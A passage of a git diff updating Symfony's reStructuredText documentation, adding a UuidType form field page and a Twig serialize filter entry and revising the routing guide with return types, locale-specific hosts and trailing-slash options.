-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
new file mode 100644
index 00000000000..c5d0827558e
--- /dev/null
+++ b/reference/forms/types/uuid.rst
@@ -0,0 +1,74 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UuidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UuidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the UUID string value and transforms it back to
+a proper :ref:`Uuid object <uuid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid UUID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 6967df09bb7..045851adc96 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -10,39 +10,19 @@ This field type allows the user to modify data that represents a specific
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a string or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be a string, or array (see the ``input`` option)                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box, two text boxes or two select fields                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `widget`_                                                                 |
-|                      | - `weeks`_                                                                  |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `compound`_                                                               |
-|                      | - `empty_data`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Underlying Data Type      | can be a string, or array (see the ``input`` option)               |
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | single text box, two text boxes or two select fields               |
++---------------------------+--------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid week.                                         |
++---------------------------+--------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -75,7 +55,7 @@ values for the year and week fields::
         'placeholder' => [
             'year' => 'Year',
             'week' => 'Week',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/html5.rst.inc
@@ -122,22 +102,22 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
 * If ``widget`` is ``single_text``, then ``''`` (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -157,8 +137,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 270c9c678c8..d2246edef52 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -225,6 +225,8 @@ Returns the absolute URL (with scheme and host) for the given route. If
     Read more about :doc:`Symfony routing </routing>` and about
     :ref:`creating links in Twig templates <templates-link-to-pages>`.
 
+.. _reference-twig-function-absolute-url:
+
 absolute_url
 ~~~~~~~~~~~~
 
@@ -239,6 +241,8 @@ Returns the absolute URL (with scheme and host) from the passed relative path. C
 :ref:`asset() function <reference-twig-function-asset>` to generate absolute URLs
 for web assets. Read more about :ref:`Linking to CSS, JavaScript and Image Assets <templates-link-to-assets>`.
 
+.. _reference-twig-function-relative-path:
+
 relative_path
 ~~~~~~~~~~~~~
 
@@ -558,6 +562,29 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+serialize
+~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json', context = []) }}
+
+``object``
+    **type**: ``mixed``
+
+``format`` *(optional)*
+    **type**: ``string``
+
+``context`` *(optional)*
+    **type**: ``array``
+
+.. versionadded:: 5.3
+
+    The ``serialize`` filter was introduced in Symfony 5.3.
+
+Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
+and returns a serialized string in the specified ``format``.
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/routing.rst b/routing.rst
index e51fb11c688..a600f706d85 100644
--- a/routing.rst
+++ b/routing.rst
@@ -47,7 +47,7 @@ This command also creates the following configuration file:
 
     # config/routes/annotations.yaml
     controllers:
-        resource: '../../src/Controller/'
+        resource: ../../src/Controller/
         type: annotation
 
     kernel:
@@ -178,6 +178,12 @@ the ``BlogController``:
             ;
         };
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the routes defined
+    in YAML format. If you define routes in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+
 .. _routing-matching-http-methods:
 
 Matching HTTP Methods
@@ -226,13 +232,13 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         class BlogApiController extends AbstractController
         {
             #[Route('/api/posts/{id}', methods: ['GET', 'HEAD'])]
-            public function show(int $id)
+            public function show(int $id): Response
             {
                 // ... return a JSON response with the post
             }
 
             #[Route('/api/posts/{id}', methods: ['PUT'])]
-            public function edit(int $id)
+            public function edit(int $id): Response
             {
                 // ... edit a post
             }
@@ -322,7 +328,7 @@ arbitrary matching logic:
              *     condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
              * )
              *
-             * expressions can also include config parameters:
+             * expressions can also include configuration parameters:
              * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
             public function contact(): Response
@@ -337,6 +343,7 @@ arbitrary matching logic:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class DefaultController extends AbstractController
@@ -348,7 +355,7 @@ arbitrary matching logic:
             )]
             // expressions can also include config parameters:
             // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
-            public function contact()
+            public function contact(): Response
             {
                 // ...
             }
@@ -361,7 +368,7 @@ arbitrary matching logic:
             path:       /contact
             controller: 'App\Controller\DefaultController::contact'
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
-            # expressions can also include config parameters:
+            # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
 
     .. code-block:: xml
@@ -375,7 +382,7 @@ arbitrary matching logic:
 
             <route id="contact" path="/contact" controller="App\Controller\DefaultController::contact">
                 <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition>
-                <!-- expressions can also include config parameters: -->
+                <!-- expressions can also include configuration parameters: -->
                 <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> -->
             </route>
         </routes>
@@ -390,7 +397,7 @@ arbitrary matching logic:
             $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
-                // expressions can also include config parameters:
+                // expressions can also include configuration parameters:
                 // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"'
             ;
         };
@@ -511,6 +518,7 @@ defined as ``/blog/{slug}``:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -518,7 +526,7 @@ defined as ``/blog/{slug}``:
             // ...
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // $slug will equal the dynamic part of the URL
                 // e.g. at /blog/yay-routing, then $slug='yay-routing'
@@ -617,18 +625,19 @@ the ``{page}`` parameter using the ``requirements`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show($slug)
+            public function show($slug): Response
             {
                 // ...
             }
@@ -696,7 +705,7 @@ URL                       Route          Parameters
 .. tip::
 
     Route requirements (and route paths too) can include
-    :ref:`container parameters <configuration-parameters>`, which is useful to
+    :ref:`configuration parameters <configuration-parameters>`, which is useful to
     define complex regular expressions once and reuse them in multiple routes.
 
 .. tip::
@@ -744,12 +753,13 @@ concise, but it can decrease route readability when requirements are complex:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -798,7 +808,7 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not**
 match. As soon as you add a parameter to a route, it must have a value.
 
 You can make ``blog_list`` once again match when the user visits ``/blog`` by
-adding a default value for the ``{page}`` parameter. When using annotations,
+adding a default value for the ``{page}`` parameter. When using annotations or attributes,
 default values are defined in the arguments of the controller action. In the
 other configuration formats they are defined with the ``defaults`` option:
 
@@ -830,12 +840,13 @@ other configuration formats they are defined with the ``defaults`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page = 1)
+            public function list(int $page = 1): Response
             {
                 // ...
             }
@@ -934,12 +945,13 @@ parameter:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>?1}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -982,7 +994,9 @@ parameter:
 .. tip::
 
     To give a ``null`` default value to any parameter, add nothing after the
-    ``?`` character (e.g. ``/blog/{page?}``).
+    ``?`` character (e.g. ``/blog/{page?}``). If you do this, don't forget to
+    update the types of the related controller arguments to allow passing
+    ``null`` values (e.g. replace ``int $page`` by ``?int $page``).
 
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
@@ -991,11 +1005,12 @@ Priority Parameter
 
     The ``priority`` parameter was introduced in Symfony 5.1
 
-When defining a greedy pattern that matches many routes, this may be at the
-beginning of your routing collection and prevents any route defined after to be
-matched.
-A ``priority`` optional parameter is available in order to let you choose the
-order of your routes, and it is only available when using annotations.
+Symfony evaluates routes in the order they are defined. If the path of a route
+matches many different patterns, it might prevent other routes from being
+matched. In YAML and XML you can move the route definitions up or down in the
+configuration file to control their priority. In routes defined as PHP
+annotations or attributes this is much harder to do, so you can set the
+optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
 
@@ -1068,8 +1083,7 @@ Parameter Conversion
 
 A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
-represents the user). This feature is called "param converter" and is only
-available when using annotations to define routes.
+represents the user). This feature is called "param converter".
 
 To add support for "param converters" we need SensioFrameworkExtraBundle:
 
@@ -1187,7 +1201,7 @@ and in route imports. Symfony defines some special attributes with the same name
                     '_format' => 'html|xml',
                 ],
             )]
-            public function search()
+            public function search(): Response
             {
             }
         }
@@ -1220,7 +1234,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 format="html">
 
                 <requirement key="_locale">en|fr</requirement>
-                <requirement key="_format">html|rss</requirement>
+                <requirement key="_format">html|xml</requirement>
 
             </route>
         </routes>
@@ -1239,7 +1253,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 ->format('html')
                 ->requirements([
                     '_locale' => 'en|fr',
-                    '_format' => 'html|rss',
+                    '_format' => 'html|xml',
                 ])
             ;
         };
@@ -1278,12 +1292,14 @@ the controllers of the routes:
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_index', defaults: ['page' => 1, 'title' => 'Hello world!'])]
-            public function index(int $page, string $title)
+            public function index(int $page, string $title): Response
             {
                 // ...
             }
@@ -1368,13 +1384,15 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class DefaultController
+        class DefaultController extends AbstractController
         {
             #[Route('/share/{token}', name: 'share', requirements: ['token' => '.+'])]
-            public function share($token)
+            public function share($token): Response
             {
                 // ...
             }
@@ -1420,11 +1438,11 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. note::
 
-    If the route defines several parameter and you apply this permissive
+    If the route defines several parameters and you apply this permissive
     regular expression to all of them, you might get unexpected results. For
     example, if the route definition is ``/share/{path}/{token}`` and both
-    ``path`` and ``token`` accept ``/``. The ``token`` only get the last path
-    and the rest of the match is matched by the first argument (``path``).
+    ``path`` and ``token`` accept ``/``, then ``token`` will only get the last part
+    and the rest is matched by ``path``.
 
 .. note::
 
@@ -1486,20 +1504,22 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/{_locale}', name: 'index')]
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
 
             #[Route('/{_locale}/posts/{slug}', name: 'show')]
-            public function show(Post $post)
+            public function show(Post $post): Response
             {
                 // ...
             }
@@ -1518,9 +1538,11 @@ when importing the routes.
             # these requirements are added to all imported routes
             requirements:
                 _locale: 'en|es|fr'
+
             # An imported route with an empty URL will become "/blog/"
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
+
             # you can optionally exclude some files/subdirectories when loading annotations
             # exclude: '../../src/Controller/{DebugEmailController}.php'
 
@@ -1562,27 +1584,86 @@ when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            // use the optional fifth argument of import() to exclude some files
+            // use the optional fourth argument of import() to exclude some files
             // or subdirectories when loading annotations
             $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
+
                 // An imported route with an empty URL will become "/blog/"
                 // Pass FALSE as the second argument to make that URL "/blog" instead
                 // ->prefix('/blog', false)
+
                 // this is added to the beginning of all imported route names
                 ->namePrefix('blog_')
+
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
+
+                // you can optionally exclude some files/subdirectories when loading annotations
+                ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };
 
 In this example, the route of the ``index()`` action will be called ``blog_index``
-and its URL will be ``/blog/``. The route of the ``show()`` action will be called
+and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
 will also validate that the ``_locale`` parameter matches the regular expression
 defined in the class annotation.
 
+.. note::
+
+    If any of the prefixed routes defines an empty path, Symfony adds a trailing
+    slash to it. In the previous example, an empty path prefixed with ``/blog``
+    will result in the ``/blog/`` URL. If you want to avoid this behavior, set
+    the ``trailing_slash_on_root`` option to ``false`` (this option is not
+    available when using PHP attributes or annotations):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/routes/annotations.yaml
+            controllers:
+                resource: '../../src/Controller/'
+                type:     annotation
+                prefix:   '/blog'
+                trailing_slash_on_root: false
+                # ...
+
+        .. code-block:: xml
+
+            <!-- config/routes/annotations.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <routes xmlns="http://symfony.com/schema/routing"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/routing
+                    https://symfony.com/schema/routing/routing-1.0.xsd">
+
+                <import resource="../../src/Controller/"
+                    type="annotation"
+                    prefix="/blog"
+                    name-prefix="blog_"
+                    trailing-slash-on-root="false"
+                    exclude="../../src/Controller/{DebugEmailController}.php">
+                    <!-- ... -->
+                </import>
+            </routes>
+
+        .. code-block:: php
+
+            // config/routes/annotations.php
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+            return function (RoutingConfigurator $routes) {
+                $routes->import('../../src/Controller/', 'annotation')
+                    // the second argument is the $trailingSlashOnRoot option
+                    ->prefix('/blog', false)
+
+                    // ...
+                ;
+            };
+
 .. seealso::
 
     Symfony can :doc:`import routes from different sources </routing/custom_route_loader>`
@@ -1822,18 +1903,19 @@ host name:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
         {
             #[Route('/', name: 'mobile_homepage', host: 'm.example.com')]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1931,6 +2013,7 @@ multi-tenant applications) and these parameters can be validated too with
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1942,13 +2025,13 @@ multi-tenant applications) and these parameters can be validated too with
                 defaults: ['subdomain' => 'm'],
                 requirements: ['subdomain' => 'm|mobile'],
             )]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -2013,7 +2096,7 @@ multi-tenant applications) and these parameters can be validated too with
         };
 
 In the above example, the ``subdomain`` parameter defines a default value because
-otherwise you need to include a domain value each time you generate a URL using
+otherwise you need to include a subdomain value each time you generate a URL using
 these routes.
 
 .. tip::
@@ -2032,10 +2115,20 @@ these routes.
             [],
             [],
             ['HTTP_HOST' => 'm.example.com']
-            // or get the value from some container parameter:
-            // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
+            // or get the value from some configuration parameter:
+            // ['HTTP_HOST' => 'm.'.$client->getContainer()->getParameter('domain')]
         );
 
+.. tip::
+
+    You can also use the inline defaults and requirements format in the
+    ``host`` option: ``{subdomain<m|mobile>?m}.example.com``
+
+.. versionadded:: 5.2
+
+    Inline parameter default values support in hosts were introduced in
+    Symfony 5.2. Prior to Symfony 5.2, they were supported in the path only.
+
 .. _i18n-routing:
 
 Localized Routes (i18n)
@@ -2076,6 +2169,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class CompanyController extends AbstractController
@@ -2084,7 +2178,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
                 'en' => '/about-us',
                 'nl' => '/over-ons'
             ], name: 'about_us')]
-            public function about()
+            public function about(): Response
             {
                 // ...
             }
@@ -2185,7 +2279,54 @@ with a locale. This can be done by defining a different prefix for each locale
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
-                    'nl' => '/nl'
+                    'nl' => '/nl',
+                ])
+            ;
+        };
+
+Another common requirement is to host the website on a different domain
+according to the locale. This can be done by defining a different host for each
+locale.
+
+.. versionadded:: 5.1
+
+    The ability to define an array of hosts was introduced in Symfony 5.1.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes/annotations.yaml
+        controllers:
+            resource: '../../src/Controller/'
+            type: annotation
+            host:
+                en: 'https://www.example.com'
+                nl: 'https://www.example.nl'
+
+    .. code-block:: xml
+
+        <!-- config/routes/annotations.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+            <import resource="../../src/Controller/" type="annotation">
+                <host locale="en">https://www.example.com</host>
+                <host locale="nl">https://www.example.nl</host>
+            </import>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes/annotations.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        return function (RoutingConfigurator $routes) {
+            $routes->import('../../src/Controller/', 'annotation')
+                ->host([
+                    'en' => 'https://www.example.com',
+                    'nl' => 'https://www.example.nl',
                 ])
             ;
         };
@@ -2200,8 +2341,8 @@ Stateless Routes
     The ``stateless`` option was introduced in Symfony 5.1.
 
 Sometimes, when an HTTP response should be cached, it is important to ensure
-that can happen. However, whenever session is started during a request, Symfony
-turns the response into a private non-cacheable response.
+that can happen. However, whenever a session is started during a request,
+Symfony turns the response into a private non-cacheable response.
 
 For details, see :doc:`/http_cache`.
 
@@ -2280,6 +2421,7 @@ session shouldn't be used when matching a request:
 
 Now, if the session is used, the application will report it based on your
 ``kernel.debug`` parameter:
+
 * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
 * ``disabled``: will log a warning
 
@@ -2330,7 +2472,7 @@ use the ``generateUrl()`` helper::
 
             // generate a URL with route arguments
             $userProfilePage = $this->generateUrl('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2349,12 +2491,20 @@ use the ``generateUrl()`` helper::
 
     If you pass to the ``generateUrl()`` method some parameters that are not
     part of the route definition, they are included in the generated URL as a
-    query string:::
+    query string::
 
         $this->generateUrl('blog', ['page' => 2, 'category' => 'Symfony']);
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
+.. caution::
+
+    While objects are converted to string when used as placeholders, they are not
+    converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
+    as value of an extra parameter, you need to explicitly convert it to a string::
+
+        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]);
+
 If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and
 follow the instructions of the next section.
@@ -2392,7 +2542,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2429,6 +2579,8 @@ If you need to generate URLs dynamically or if you are using pure JavaScript
 code, this solution doesn't work. In those cases, consider using the
 `FOSJsRoutingBundle`_.
 
+.. _router-generate-urls-commands:
+
 Generating URLs in Commands
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2473,12 +2625,11 @@ The solution is to configure the ``default_uri`` option to define the
     .. code-block:: php
 
         // config/packages/routing.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                // ...
-                'default_uri' => "https://example.org/my/path/",
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()->defaultUri('https://example.org/my/path/');
+        };
 
 .. versionadded:: 5.1
 
@@ -2514,7 +2665,7 @@ Now you'll get the expected results when generating URLs in your commands::
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2579,7 +2730,7 @@ method) or globally with these configuration parameters:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -2629,12 +2780,13 @@ each route explicitly:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class SecurityController extends AbstractController
         {
             #[Route('/login', name: 'login', schemes: ['https'])]
-            public function login()
+            public function login(): Response
             {
                 // ...
             }
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index a339ec74f61..40e884a07e8 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -309,7 +309,7 @@ Now define a service for the ``ExtraLoader``:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
